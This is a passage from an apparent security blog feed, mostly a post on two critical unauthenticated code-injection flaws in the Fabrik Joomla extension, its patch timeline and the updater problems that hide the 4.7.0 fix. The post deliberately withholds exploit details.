&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/security/fundamentals&quot;&gt;Joomla Manual: Security fundamentals&lt;/a&gt; - the secure-coding half of the picture, covering the practices that stop the vulnerability existing in the first place.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security.html&quot;&gt;Joomla Developer Network: Security&lt;/a&gt; - the Joomla Security Strike Team&apos;s own pages, including the security announcement feed point 16 refers to.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/JEDL&quot;&gt;Joomla! Electronic Documentation License&lt;/a&gt; - the licence this page republishes under, and the one that lets anyone else do the same.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.first.org/cvss/v4-0/specification-document&quot;&gt;FIRST: CVSS 4.0 specification&lt;/a&gt; - the scoring standard point 6 recommends, from the body that publishes it.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.iso.org/standard/72311.html&quot;&gt;ISO/IEC 29147:2018&lt;/a&gt; - &quot;Vulnerability disclosure&quot;, the international standard covering how a vendor receives vulnerability reports and publishes remediation information. Point 1 draws its principles from it, and the 2018 second edition is the current one.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/ResourcesSupport/AllResources/CNARules&quot;&gt;CVE Program: CNA rules&lt;/a&gt; - the publication requirements point 11 tells developers to follow.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/PartnerInformation/ListofPartners&quot;&gt;CVE Program partner list&lt;/a&gt; - where the Joomla! Project&apos;s CNA scope is recorded as &quot;Core Joomla! CMS, the Joomla Framework, and Joomla! Extensions issues only&quot;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud patched the login, then the data&lt;/a&gt; - these rules measured against a real disclosure, including the changelog rule the developer went back and put right.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you look after Joomla sites rather than build the extensions on them, the practical companion to this is knowing which of your sites run what. &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Try a free audit&lt;/a&gt; on one site, or read our roundup of &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;nineteen Joomla extension vulnerabilities disclosed in a month&lt;/a&gt; for what the reporting side of this process actually looks like.
&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>responsible disclosure</category><category>extensions</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/joomla-extension-security-disclosure-standard.Bq_L7CoS.png" length="0" type="image/png"/></item><item><title>The Fabrik Fiasco: Announced, Restricted, Relabelled</title><link>https://mysites.guru/blog/fabrik-unauthenticated-rce-calc-element/</link><guid isPermaLink="true">https://mysites.guru/blog/fabrik-unauthenticated-rce-calc-element/</guid><description>Two CVSS 10.0 RCEs in the Fabrik Joomla extension. Its 4.7.0 fix was announced as stable, restricted to a test group, then relabelled a release candidate.</description><pubDate>Mon, 10 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/fabrik/&quot;&gt;Fabrik&lt;/a&gt; is an application builder for Joomla. You use it to construct forms, database-backed lists and small applications inside a Joomla site, and it has been on the Joomla Extensions Directory since 2014 with the project itself dating back to 2006. On 9 August 2026 its developers released &lt;strong&gt;Fabrik 4.6.7&lt;/strong&gt; and labelled it a security release. The following morning the Joomla CNA published &lt;strong&gt;CVE-2026-66915&lt;/strong&gt;, an &lt;strong&gt;unauthenticated remote code execution&lt;/strong&gt; flaw in the extension&apos;s calc element, scored &lt;strong&gt;CVSS 4.0 10.0 Critical&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Later that same day, Fabrik released &lt;strong&gt;4.6.8&lt;/strong&gt; with a second security fix, this one in the extension&apos;s list filters. Then the story moved twice more. On 12 August the Joomla CNA &lt;strong&gt;revised CVE-2026-66915&lt;/strong&gt; to say that 4.6.7 had not actually closed it, widening the affected range to include 4.6.8. The same day, the list filter flaw got a CVE of its own. On 13 August Fabrik announced &lt;strong&gt;4.7.0&lt;/strong&gt;, a hardening release aimed at the whole class of problem.&lt;/p&gt;
&lt;p&gt;Announced is the word to hold on to, because 4.7.0 has never had an ordinary release. Fabrik published it on 13 August with its maturity given as Stable, put it on the changelog history page and posted release notes to its forum, while the package itself stayed restricted to what the vendor calls a small group of users. It was left out of the Joomla update feed, so no site&apos;s updater could see it. On 16 August it went into the feed, tagged as a release candidate that Joomla hides at default settings, and the release page was rewritten to read Release Candidate on the same build and the same release date. Fabrik 4.6.7 has been withdrawn from the download page in the meantime.&lt;/p&gt;
&lt;p&gt;If you run Fabrik on any Joomla site, &lt;strong&gt;4.7.0&lt;/strong&gt; is still the version to be on, because nothing else sits above both CVE ceilings. That includes the sites you updated to 4.6.8 last week on the advice everybody was giving, this post included. Two things make this more than an afternoon&apos;s update run: which of your sites can install it at all, and whether you can get hold of it in the first place. On the one question that matters most, though, there is good news: we obtained the package and read the source, and the security fix itself is sound.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update Fabrik to 4.7.0, and update again if you stopped at 4.6.8&lt;/p&gt;
  &lt;p&gt;The revised CVE-2026-66915 record lists 1.0.0 to 4.6.8 as affected, so the calc element flaw survived the 4.6.7 fix. Its stated fixed version, 4.6.9, has no public release. Fabrik 4.7.0 (13 August 2026) is the only publicly downloadable version above both CVE ceilings, and it is a real upgrade rather than a point release: it breaks existing userAjax calls and needs the FullCalendar and Paypal plugins updated alongside it, so test on a sandbox first. Joomla&apos;s updater will not show it at default settings, so this one is a manual download and install, and it needs a valid Fabrik subscription. Be clear about what you are installing: Fabrik announced 4.7.0 on 13 August as Stable while the package was still restricted, and on 16 August relabelled it Release Candidate on the same build and the same release date. The release process has been a shambles, but we have read the code and the security fix itself is sound, so install it. Fabrik 4 installs on Joomla 4.2 and above and Joomla 5.1 and above only, so Joomla 3 and Joomla 6 sites still need a different plan, though Joomla 3 sites now have a manual patch for the calc flaw.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: Fabrik&apos;s calc element computes a field value by evaluating a PHP expression that the site builder writes. When the element&apos;s AJAX option is on, that recalculation happens live through a front-end endpoint in &lt;code&gt;com_fabrik&lt;/code&gt;, and that endpoint could be reached by an anonymous visitor with no login and no user interaction. Because evaluating PHP is the element&apos;s intended job, reaching it without authorisation means running code on the server. That is &lt;strong&gt;CVE-2026-66915&lt;/strong&gt;, &lt;strong&gt;CWE-94&lt;/strong&gt;, &lt;strong&gt;CVSS 4.0 10.0 Critical&lt;/strong&gt; (&lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;), reported by &lt;strong&gt;Moe Khalilov of LeetProtect Research&lt;/strong&gt;. It was published on 10 August 2026 saying versions 1.0.0 to 4.6.6 were affected and 4.6.7 fixed it, then &lt;strong&gt;revised on 12 August&lt;/strong&gt; to &lt;strong&gt;1.0.0 to 4.6.8&lt;/strong&gt;, fixed in 4.6.9. The first fix did not hold. A &lt;strong&gt;second flaw&lt;/strong&gt;, in the front end list filter model, is &lt;strong&gt;CVE-2026-67282&lt;/strong&gt;, also &lt;strong&gt;CWE-94&lt;/strong&gt; and also &lt;strong&gt;CVSS 4.0 10.0 Critical&lt;/strong&gt;, reported by &lt;strong&gt;Murad Gasimov&lt;/strong&gt;, affecting 1.0.0 to 4.6.7 and fixed in 4.6.8. &lt;strong&gt;There is no public Fabrik 4.6.9&lt;/strong&gt;, so &lt;strong&gt;4.7.0&lt;/strong&gt; (13 August 2026, &quot;a major hardening release against PHP eval attack vectors&quot;) is the release to be on. It &lt;strong&gt;breaks userAjax&lt;/strong&gt; and needs &lt;strong&gt;FullCalendar and Paypal updated&lt;/strong&gt; with it, and Joomla&apos;s updater &lt;strong&gt;will not show it at default settings&lt;/strong&gt;, so you install it by hand. Fabrik &lt;strong&gt;announced it on 13 August as Stable while the package was restricted&lt;/strong&gt; to a small test group, added it to the update feed on &lt;strong&gt;16 August&lt;/strong&gt; tagged as a &lt;strong&gt;release candidate&lt;/strong&gt; that Joomla hides at default settings, and &lt;strong&gt;relabelled the release itself Release Candidate&lt;/strong&gt; the same day, on the same build and the same release date. It installs on &lt;strong&gt;Joomla 4.2 to 5.x only&lt;/strong&gt; and needs a &lt;strong&gt;valid Fabrik subscription&lt;/strong&gt;. Joomla 3 sites still have &lt;strong&gt;no patched release&lt;/strong&gt; but now have a &lt;strong&gt;manual one-line source patch&lt;/strong&gt; from the vendor for the calc flaw. &lt;strong&gt;We obtained the 4.7.0 package and read the source&lt;/strong&gt;, which nobody outside the vendor&apos;s test group has been able to do, and &lt;strong&gt;both flaws are genuinely fixed&lt;/strong&gt;: &lt;code&gt;eval()&lt;/code&gt; is down to two files in 869, and visitor data is now bound as PHP variables instead of spliced into the code. mySites.guru lists every connected Joomla site running Fabrik with both the Fabrik and Joomla version, so you can sort them into the ones that update and the ones that do not.&lt;/p&gt;
&lt;h2&gt;What Is Wrong in Fabrik&apos;s Calc Element?&lt;/h2&gt;
&lt;p&gt;The calc element is a Fabrik field whose value is worked out rather than typed. A site builder writes a small PHP expression into the element&apos;s settings, for example to total two other fields or apply a tax rate, and Fabrik evaluates that expression to produce the value. Evaluating site-builder PHP is the documented, intended behaviour of the element, and it is why Fabrik can do the things people use it for.&lt;/p&gt;
&lt;p&gt;The element has an option to recalculate over AJAX, so the value updates live as a visitor fills in a form instead of only when the page reloads. That option adds a second route to the same evaluation: a front-end endpoint in the &lt;code&gt;com_fabrik&lt;/code&gt; component that takes the current form data, substitutes it into the stored expression, and evaluates the result. In the Fabrik source that is public, which is the older Joomla 3 line, the calculation reaches a plain PHP &lt;code&gt;eval()&lt;/code&gt; at the end of both routes. Fabrik 4.x is distributed only to subscribers and its source is not published anywhere we could find, so the description here is drawn from the public Joomla 3 code plus the CVE record&apos;s own classification of CWE-94, rather than from reading the patched release.&lt;/p&gt;
&lt;p&gt;The flaw is that the AJAX route was reachable by anyone. No login, no privileges, no user interaction, which is exactly what the CVSS vector records with &lt;code&gt;PR:N&lt;/code&gt; and &lt;code&gt;UI:N&lt;/code&gt;. Joomla&apos;s standard input filtering runs on the submitted data, but that filter exists to strip HTML and script tags for cross-site scripting purposes and does not neutralise PHP syntax. Because the substitution happens before the evaluation, submitted data that steps outside its expected position changes what actually gets executed.&lt;/p&gt;
&lt;p&gt;This is the same shape of problem we wrote about in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints being a CMS security blind spot&lt;/a&gt;: a helper route added for front-end convenience, sitting beside a well-guarded main path, that never inherited the main path&apos;s checks.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Why we are not publishing an exploit&lt;/p&gt;
  &lt;p&gt;A fix exists and is available today in 4.7.0. We have described the shape of the flaw and named the component, because you need that to understand the risk and decide what to do. We are not publishing the endpoint parameters, the substitution syntax or any working proof of concept. Nothing here is a recipe.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Which Fabrik Versions Are Affected?&lt;/h2&gt;
&lt;p&gt;When the CVE first published it listed &lt;strong&gt;1.0.0 through 4.6.6&lt;/strong&gt; as affected and &lt;strong&gt;4.6.7&lt;/strong&gt; as fixed. On 12 August the Joomla CNA revised the record to &lt;strong&gt;1.0.0 through 4.6.8&lt;/strong&gt;, with the fixed version restated as &lt;strong&gt;4.6.9&lt;/strong&gt;. Either way it covers every Fabrik release ever made, across both the Fabrik 3.x line built for Joomla 3 and the Fabrik 4.x line built for Joomla 4 and 5. What changed is the other end: the fix that shipped on 9 August did not close it, and neither did the release that followed.&lt;/p&gt;
&lt;p&gt;We were not the only ones working from the original range. The record&apos;s own reference list now includes this post, which is a useful reminder that a fixed version in a CVE is a claim with a date on it, and dates move.&lt;/p&gt;
&lt;p&gt;Fabrik&apos;s own changelog is unambiguous about what 4.6.7 is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Fabrik Base Version 4.6.7 (2026-08-09)
Fix, 2026-08-09: Security fix for calc element
Notes: This is a security release, please update immediately.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The announcement on the Fabrik forum, posted by a project administrator on the evening of 9 August 2026, says the same thing and adds the practical constraints:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Fabrik 4.6.7 is available. This is a security fix addressing the calc element. Please update immediatly. [...] You may download this update through the Joomla Updater or by direct download via My Download Files from the Fabrik site. Note: You will require a valid subscription in order to download or update. Fabrik 4 will not install on Joomla 6&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Credit where it is due. This is a clearly labelled, clearly dated security release with an explicit instruction to update, published in two places on the day it shipped. We have covered plenty of vendors who buried a serious fix under &quot;improved input validation&quot; in a changelog, and Fabrik did not do that here.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note on the missing 4.6.6&lt;/p&gt;
  &lt;p&gt;The CVE names 4.6.6 as the last affected version, but Fabrik&apos;s public changelog goes straight from 4.6.5 on 29 July 2026 to 4.6.7 on 9 August 2026, with no 4.6.6 entry. We have seen 4.6.6 reported by a real site, so the build exists. We could not find a public explanation of what happened to it, and Fabrik has retracted a bad build before, so treat 4.6.6 as affected and move on regardless.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Then Fabrik Released 4.6.8&lt;/h2&gt;
&lt;p&gt;On 10 August 2026, the day after 4.6.7 and the same day the CVE published, Fabrik released &lt;strong&gt;4.6.8&lt;/strong&gt;. Its changelog entry reads in full:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Fabrik Base Version 4.6.8 (2026-08-10)
Fix, 2026-08-10: Security fix for list filters
Notes: This is a security release, please update immediately.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That was the whole of it at the time. No CVE, no advisory, no severity, no indication of whether an attacker needed a login. The forum announcement, when it came, called it &quot;a very small change specific to list prefilters using eval&quot;.&lt;/p&gt;
&lt;p&gt;On 12 August 2026 it got a number, and the number is not small. &lt;strong&gt;CVE-2026-67282&lt;/strong&gt; is an &lt;strong&gt;unauthenticated remote code execution&lt;/strong&gt; flaw in Fabrik&apos;s &lt;strong&gt;front end list filter model&lt;/strong&gt;, scored &lt;strong&gt;CVSS 4.0 10.0 Critical&lt;/strong&gt; on the same vector as the calc element flaw, classed as &lt;strong&gt;CWE-94 code injection&lt;/strong&gt;, and reported by &lt;strong&gt;Murad Gasimov&lt;/strong&gt;. It affects &lt;strong&gt;1.0.0 through 4.6.7&lt;/strong&gt; and is fixed in &lt;strong&gt;4.6.8&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Two unauthenticated remote code execution flaws, both scoring the maximum, in different parts of the same extension, disclosed two days apart. The 4.6.4 changelog from earlier this year carries the line &quot;Some more code hardening. Add error messages in case of FILTERTEXT reset (in case eval was used legally)&quot;, so filters and &lt;code&gt;eval&lt;/code&gt; were already an area the developers were tightening.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;&quot;A very small change&quot; was a CVSS 10.0&lt;/p&gt;
  &lt;p&gt;The size of a diff and the severity of what it fixes are unrelated, and this is a clean example of the gap. A one-line change that closes an unauthenticated path to code execution is a one-line change that closes an unauthenticated path to code execution. If a vendor describes a security release as small, read that as a statement about the patch and not about your risk.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Then the Calc Element Fix Turned Out Not to Have Worked&lt;/h2&gt;
&lt;p&gt;On 12 August the Joomla CNA revised CVE-2026-66915. The affected range went from 1.0.0 to 4.6.6, up to &lt;strong&gt;1.0.0 to 4.6.8&lt;/strong&gt;. The fixed version went from 4.6.7 to &lt;strong&gt;4.6.9&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Read plainly, that says the fix shipped on 9 August did not close the flaw, and the release that followed it did not either. Everyone who updated to 4.6.7, and everyone who then updated again to 4.6.8 because of the list filter issue, was still exposed to the calc element flaw the whole time.&lt;/p&gt;
&lt;p&gt;Acting on that is harder than it sounds, because &lt;strong&gt;there is no public Fabrik 4.6.9&lt;/strong&gt;. It has no entry in the changelog history. It is not on the vendor&apos;s download listing, which showed 4.6.3, 4.6.7, 4.6.8 and 4.7.0 on 13 August and shows 4.6.3, 4.6.8 and 4.7.0 today, 4.6.7 having been withdrawn. Its release information page returns a 404. The version named as the fix in the CVE record is not a version anybody can install.&lt;/p&gt;
&lt;p&gt;What Fabrik shipped instead, on &lt;strong&gt;13 August 2026&lt;/strong&gt;, is &lt;strong&gt;4.7.0&lt;/strong&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Fabrik Base Version 4.7.0 (2026-08-13)
Fix, 2026-08-10: This is a major hardening release against PHP eval attack vectors.
Notes: This is a major security release. This release will break any userAjax you are using. Also, if you are using FullCalendar or Paypal you will need to update to the latest versions.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That reads like a response to the whole class of problem, not to one more report. Both published flaws are CWE-94 code injection reached through &lt;code&gt;eval&lt;/code&gt;, and the vendor&apos;s own words on the Fabrik 3 thread confirm the intent: &quot;A major security hardening effort is currently underway for F4 and F5.&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fabrik 4.7.0 is the version to be on.&lt;/strong&gt; It is the only publicly downloadable release that sits above both CVE ceilings, and it is the release the vendor points at.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Treat 4.7.0 as a real upgrade&lt;/p&gt;
  &lt;p&gt;The vendor states that 4.7.0 breaks any userAjax calls you are using, and that FullCalendar and Paypal need updating to their current versions alongside it. Hardening the paths that reach &lt;code&gt;eval&lt;/code&gt; is exactly the kind of change that breaks code depending on those paths, which is presumably why the minor version moved. Install and test on a sandbox before a live site. That is Fabrik&apos;s own advice and it is the right call here, because this is the one update in the sequence that can break a working application.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;The alert worked, and the destination was wrong anyway&lt;/p&gt;
  &lt;p&gt;We emailed every affected account on 10 August telling them to go to 4.6.8. Of the Fabrik sites we can see that now run a build from that week, around six in seven are on 4.6.8 rather than 4.6.7, so the correction reached people and they acted on it. Every one of those sites is still short of the fix, through no fault of the people who updated them. That is the cost of a revised CVE record, and it is why &quot;we already did that one&quot; is not a safe answer three days later.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;Joomla&apos;s Updater Still Will Not Offer You 4.7.0&lt;/h3&gt;
&lt;p&gt;Fabrik 4.7.0 exists and the vendor has announced it. Getting it onto a site is a separate problem, and that problem has changed shape once already.&lt;/p&gt;
&lt;p&gt;When we first wrote this up on 13 August, 4.7.0 was simply absent from the update feed Joomla reads for the Fabrik Base package. That feed carried 4.6.7, 4.6.8 and 4.6.3 and nothing above them, so a site running an update check was told 4.6.8 was the newest release available and then reported itself current.&lt;/p&gt;
&lt;p&gt;On 16 August the feed changed. 4.7.0 is in it now, and 4.6.7 has been taken out. A site checking for updates today still will not be offered 4.7.0, for two independent reasons, and only one of them has a documented fix.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The first is the stability tag.&lt;/strong&gt; Fabrik&apos;s feed entry for 4.7.0 carries &lt;code&gt;&amp;lt;tag&amp;gt;rc&amp;lt;/tag&amp;gt;&lt;/code&gt;. Joomla&apos;s installer has a setting called Minimum Extension Stability, its default value is Stable, and &lt;code&gt;ExtensionAdapter&lt;/code&gt; discards any advertised update sitting below that setting. A release candidate is one rung below stable, so at default settings Joomla reads the update out of the feed and then throws it away without telling anyone. The vendor&apos;s instruction is to go to System, then Update, then Extensions, click Options, and set Minimum Extension Stability to Release Candidate. That works. Note that it is a site-wide setting rather than a per-extension one, so every other extension on that site will start offering you its pre-release builds too, and it stays that way until somebody puts it back.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The second reason is not documented anywhere, and no setting fixes it.&lt;/strong&gt; The feed entries for 4.7.0 and for 4.6.8 beside it both declare which Joomla versions they are for like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;5.[4]&quot;/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla takes that &lt;code&gt;version&lt;/code&gt; attribute as a regular expression, anchors it, and tests it against the running Joomla version:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;preg_match(&apos;/^&apos; . $this-&amp;gt;currentUpdate-&amp;gt;targetplatform[&apos;VERSION&apos;] . &apos;/&apos;, JVERSION)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That line is in &lt;code&gt;libraries/src/Updater/Adapter/ExtensionAdapter.php&lt;/code&gt;, and it is identical in Joomla 5.1, 5.3 and 6.1. The pattern &lt;code&gt;5.[4]&lt;/code&gt; reads as a 5, then any single character, then a 4. It matches Joomla 5.4.x. It matches nothing else:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;preg_match(&apos;/^5.[4]/&apos;, &apos;5.4.2&apos;);   // 1
preg_match(&apos;/^5.[4]/&apos;, &apos;5.3.1&apos;);   // 0
preg_match(&apos;/^5.[4]/&apos;, &apos;5.1.4&apos;);   // 0
preg_match(&apos;/^5.[4]/&apos;, &apos;4.4.13&apos;);  // 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So on any Joomla site below 5.4, the 4.7.0 entry is discarded before the stability setting is even consulted, and the 4.6.8 entry goes with it. The only entry left that those sites can see is 4.6.3, whose target platform is an empty string and therefore matches everything. Because 4.6.3 is older than whatever they already have installed, Joomla compares the two, finds nothing newer, and reports the site as up to date.&lt;/p&gt;
&lt;p&gt;We described this feed on 13 August as stopping at 4.6.8. That was right about the feed&apos;s contents and wrong about the consequence: for every Joomla version except 5.4, the feed effectively stops at 4.6.3. The same pattern sits on the 4.6.8 entry, so this is not something 4.7.0 introduced, and lowering your stability setting will not fix it.&lt;/p&gt;
&lt;p&gt;Either way the reliable route is a manual install. Log in to fabrikar.com with a current subscription, take the 4.7.0 package from My Download Files, and install it on each site through Extensions, Install. Then check the version the site actually ended up on, because a package that installs without complaint is not the same as a package that installed.&lt;/p&gt;
&lt;p&gt;The changelog history page has moved backwards too: the 4.7.0 entry is gone, and the newest release the page lists is 4.6.8 from 10 August, a version both CVE records say is vulnerable.&lt;/p&gt;
&lt;p&gt;If a colleague checked earlier in the week and reported back that 4.7.0 did not exist, they were reading the site correctly at the time. On 11 August a subscriber posted that the download button was greyed out, and a Fabrik administrator replied that &quot;V4.7.0 is not ready, it is being tested by a few people to make sure it is good. Announcement will be displayed shortly.&quot; The announcement arrived two days later. Someone else has since reported on the release notes thread that listing 4.7.0 with restricted access breaks the updater&apos;s route to 4.6.7 as well, so a site offering you no Fabrik update at all is not telling you it is up to date.&lt;/p&gt;
&lt;h2&gt;The Timeline: Announced, Restricted, Relabelled&lt;/h2&gt;
&lt;p&gt;Eight days, three security releases, two CVEs scored 10.0, one CVE revision, one version number that does not exist, and six days between the fix being written and the people running the software being able to install it. If you are trying to work out why the answer to &quot;what should this site be running&quot; keeps moving, the sequence explains it.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;When&lt;/th&gt;
&lt;th&gt;What happened&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;9 Aug&lt;/td&gt;
&lt;td&gt;Fabrik releases &lt;strong&gt;4.6.7&lt;/strong&gt;. Changelog: &quot;Security fix for calc element&quot;, under &quot;This is a security release, please update immediately&quot;. A forum announcement follows that evening.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10 Aug, 09:53 UTC&lt;/td&gt;
&lt;td&gt;The Joomla CNA publishes &lt;strong&gt;CVE-2026-66915&lt;/strong&gt;, CVSS 4.0 &lt;strong&gt;10.0 Critical&lt;/strong&gt;. Affected 1.0.0 to 4.6.6, fixed in 4.6.7.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10 Aug&lt;/td&gt;
&lt;td&gt;Fabrik releases &lt;strong&gt;4.6.8&lt;/strong&gt;, &quot;Security fix for list filters&quot;, under the same update-immediately note. The forum calls it &quot;a very small change specific to list prefilters using eval&quot;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10 Aug&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;The change that becomes 4.7.0 is dated.&lt;/strong&gt; Its changelog entry, published later on the release page, reads &quot;2026-08-10: This is a major hardening release against PHP eval attack vectors.&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11 Aug&lt;/td&gt;
&lt;td&gt;A subscriber reports the 4.7.0 download button is greyed out. An administrator replies: &quot;V4.7.0 is not ready, it is being tested by a few people to make sure it is good.&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11 Aug&lt;/td&gt;
&lt;td&gt;Fabrik publishes a &lt;strong&gt;manual one-line patch for the Fabrik 3 line&lt;/strong&gt; and confirms no Fabrik 3 release will ever ship.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12 Aug, 09:04 UTC&lt;/td&gt;
&lt;td&gt;The CNA &lt;strong&gt;revises CVE-2026-66915&lt;/strong&gt;. Affected widens to 1.0.0 to &lt;strong&gt;4.6.8&lt;/strong&gt;. Fixed version restated as 4.6.9, which has never existed.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12 Aug, 09:05 UTC&lt;/td&gt;
&lt;td&gt;The CNA publishes &lt;strong&gt;CVE-2026-67282&lt;/strong&gt; for the list filter flaw. Affected 1.0.0 to 4.6.7, fixed in 4.6.8, also &lt;strong&gt;10.0 Critical&lt;/strong&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13 Aug, 13:30 UTC&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;4.7.0 appears on Fabrik&apos;s changelog history page&lt;/strong&gt;, dated 2026-08-13, carrying the hardening note. Our release monitoring records it.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13 Aug, 14:45 UTC&lt;/td&gt;
&lt;td&gt;Fabrik posts &lt;strong&gt;4.7.0 release notes&lt;/strong&gt; to the forum. The release page gives its maturity as &lt;strong&gt;Stable&lt;/strong&gt;. It is not in the Joomla update feed, and the package is not generally downloadable.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13 Aug, 16:39 UTC&lt;/td&gt;
&lt;td&gt;A subscriber posts that &quot;adding and &lt;strong&gt;restricting access&lt;/strong&gt; to v4.7 breaks updating from Joomla updater&quot;, and that it has also blocked the route to 4.6.7.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16 Aug&lt;/td&gt;
&lt;td&gt;4.7.0 &lt;strong&gt;appears in the update feed tagged as a release candidate&lt;/strong&gt;, which Joomla hides at default settings. &lt;strong&gt;4.6.7 is removed&lt;/strong&gt; from the feed and from the download listing. The release page now reads &lt;strong&gt;Release Candidate&lt;/strong&gt;, against the same build and the same release date. &lt;strong&gt;4.7.0 is gone from the changelog history page&lt;/strong&gt;, which now tops out at 4.6.8.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16 Aug, 16:41 UTC&lt;/td&gt;
&lt;td&gt;An administrator posts that 4.7.0 &quot;has been thoroughly tested by a &lt;strong&gt;small group of users&lt;/strong&gt;&quot; and that &quot;in a 1st step we are making it available as a Release Candidate&quot;, with instructions to lower the site&apos;s minimum extension stability.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Two threads run through that table.&lt;/p&gt;
&lt;h3&gt;Announced Is Not the Same as Released&lt;/h3&gt;
&lt;p&gt;Fabrik announced 4.7.0 on 13 August, with release notes, a release date and a maturity of Stable, and told people it was a major security release. For the next three days most subscribers could not get it. That is not our inference: on 11 August a subscriber reported the download button greyed out and an administrator answered &quot;V4.7.0 is not ready, it is being tested by a few people to make sure it is good&quot;; on the evening of 13 August, hours after the announcement, another subscriber posted that &quot;adding and restricting access to v4.7 breaks updating from Joomla updater&quot;; and the 16 August post opens by saying it &quot;has been thoroughly tested by a small group of users&quot; before announcing that &quot;in a 1st step we are making it available as a Release Candidate&quot;.&lt;/p&gt;
&lt;p&gt;Put those together and the announcement of 13 August described a build in the hands of a test group as a stable release, on the vendor&apos;s own account of who had it. Anyone reading fabrikar.com that weekend, holding two CVSS 10.0 unauthenticated code execution flaws with no other remedy, was looking at a fix they were told existed and could not obtain.&lt;/p&gt;
&lt;p&gt;What became available on 16 August is a release candidate that Joomla will not show you until you lower your site&apos;s minimum extension stability. So the fix has gone from announced but withheld, to obtainable but formally pre-release.&lt;/p&gt;
&lt;p&gt;There is one more wrinkle, inside the package. Every file in the 4.7.0 download is timestamped &lt;strong&gt;15 August 2026, 06:29&lt;/strong&gt;, two days after the release date its own page gives. Whatever the small test group had on 13 August, the build you can download now was assembled on the 15th.&lt;/p&gt;
&lt;h3&gt;The Announcement Told Attackers Where to Look&lt;/h3&gt;
&lt;p&gt;The release information page went up on 13 August carrying two pieces of text. The changelog entry, dated &lt;strong&gt;2026-08-10&lt;/strong&gt;, says the release is &quot;a major hardening release against PHP eval attack vectors&quot;. The notes say:&lt;/p&gt;
&lt;blockquote&gt;
